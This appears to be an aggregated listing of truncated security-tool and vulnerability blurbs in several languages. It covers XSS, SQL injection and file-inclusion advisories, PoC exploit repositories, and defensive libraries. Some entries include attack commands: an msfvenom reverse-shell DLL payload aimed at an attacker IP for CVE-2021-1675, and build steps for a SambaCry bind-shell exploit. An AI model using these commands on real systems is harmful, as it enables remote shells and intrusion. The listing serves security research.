MicroStrategy Library <11.1.3 - Cross-Site Scripting

MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other...

Slims9 Bulian 9.4.2 - SQL Injection

Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained. id: CVE-2021-45793 info: name: Slims9 Bulian 9.4.2 - SQL Injection author: nblirwn severity: high description: | Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data c...

Php-mod/curl Library <2.3.2 - Cross-Site Scripting

Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the postfilepathupload.php key parameter and the POST data to postmultidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other...

SAS/Internet 9.4 1520 - Local File Inclusion

SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library included by default in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro...

Media Library Assistant < 2.82 - Unauthenticated Limited Local File Inclusion

Media Library Assistant plugin for WordPress before 2.82 contains a local file inclusion caused by unsanitized mlagallery link parameter, letting attackers include arbitrary local files, exploit requires access to the vulnerable link. id: CVE-2020-11732 info: name: Media Library Assistant 2.82 -...

Media Library Assistant < 3.09 - Remote Code Execution/Local File Inclusion

A vulnerability in the Wordpress Media-Library-Assistant plugins in version 3.09 is vulnerable to a local file inclusion which leading to RCE on default Imagegick installation/configuration. id: CVE-2023-4634 info: name: Media Library Assistant 3.09 - Remote Code Execution/Local File Inclusion...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit SambaCry-Exploit CVE-2017-7494 zur Ausnutzung von Samba Bind-Shell ohne Metasploit Falls Sie den Port ändern müssen, ändern Sie einfach die Zeile Nr. 68 in bindshell-samba.c und kompilieren Sie neu: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc...

telegram-story-scraper

Telegram Story Scraper 📱 Ein Python-Skript, mit dem Sie automatisch Stories Ihrer Telegram-Freunde scrapen und herunterladen können, unter Verwendung der Telethon-Bibliothek. Das Skript überwacht kontinuierlich und speichert sowohl Fotos als auch Videos von Stories zusammen mit ihren Metadaten...

KNX-Bus-Dump

KNX Bus Dump KNX ist ein weit verbreitetes Gebäudeautomatisierungsprotokoll, das zur Verbindung von Sensoren, Aktoren und anderen Komponenten eines intelligenten Gebäudes dient. Unser KNX Bus Dump Tool verwendet die Calimero Java-Bibliothek, zu der wir für dieses Tool beigetragen haben, um die üb...

py-amsi

py-amsi py-amsi ist eine Bibliothek, die Zeichenfolgen oder Dateien mit der Windows Antimalware Scan Interface AMSI API auf Malware überprüft. AMSI ist eine native Windows-Schnittstelle, die es Anwendungen ermöglicht, das auf dem System installierte Antivirenprogramm zu bitten, eine...

limitrr-php

Rate limiting leggero in PHP usando Redis. Limitrr PHP è fortemente ispirato alla mia altra libreria, Limitrr, creata per NodeJS. Dai un'occhiata qui Limitrr PHP consente agli utenti di integrare facilmente il rate limiting nella propria applicazione. A differenza di altri pacchetti simili, quest...

CGA-GPPF-Q4HH-4RJ4

Bulletin has no description...

CVE-2021-20294-POC

CVE-2021-20294-POC 21 gen 2023, Altin tin-z, github.com/tin-z PoC scarica e compila root@kitploit: wget https://ftp.gnu.org/gnu/binutils/binutils-2.35.tar.gz && tar -xzvf binutils-2.35.tar.gz cd binutils-2.35 && ./configure && make && cd .. gcc -shared -fPIC poc.c -o poc.so...

blind-xxe-controller-CVE-2021-29447

Controller per Blind XXE Ho creato questo controller per la macchina metatwo di HackTheBox per sfruttare CVE-2021-29447, una vulnerabilità XXE di WordPress nella libreria multimediale che colpisce le versioni 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. dove un utente autenticato con la possibilità di caricar...

keypairvuln

chiavi vulnerabili di keypair CVE-2021-41117 Le chiavi generate con versioni della libreria javascript keypair vulnerabili a CVE-2021-41117. A causa di bug nel generatore di numeri casuali, questa libreria genera alcune chiavi con maggiore probabilità. La probabilità di generare una delle chiavi ...

safetext

safetext Questo non è un prodotto ufficialmente supportato da Google. Librerie sicure per costruzione per la produzione di formati come YAML, per sostituire librerie non consapevoli della sintassi come text/template e sprintf che sono a rischio di vulnerabilità di injection. Esempio di caso d'uso...

MemoryMapper

Memory Mapper Memory Mapper è una libreria leggera che permette di mappare in memoria sia assembly nativi che gestiti, utilizzando l'iniezione di processo in un processo specificato dall'utente o l'auto-iniezione; la tecnica di iniettare un assembly nel processo attualmente in esecuzione che tent...

NimNightmare

CVE-2021-1675 LPE PoC Non è il mio exploit! Volevo solo giocherellare con la libreria winim in nim. Utilizzo Genera il payload DLL con msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, poi avvia l'handler sul tuo attacker. Sulla vittima esegui...

SMB_CVE-2025-24071

CVE-2025-24071 PoC SMB + Metodo di Estrazione TAR Questa è una PoC per sfruttare CVE-2025-24071 , una vulnerabilità in Windows che consente la divulgazione dell'hash NTLM tramite file .library-ms. Questa versione si differenzia leggermente dalle altre utilizzando un archivio .tar invece di .zip,...

brutto

brutto Einfaches Brute-Forcing für alles, was du willst, mit magischen steigenden Werten und direktem Vorgehen. Implementierung Klonen: git clone https://github.com/jofpin/brutto.git Die neueste Version herunterladen Mit Python installieren: python setup.py install root@kitploit: So importierst d...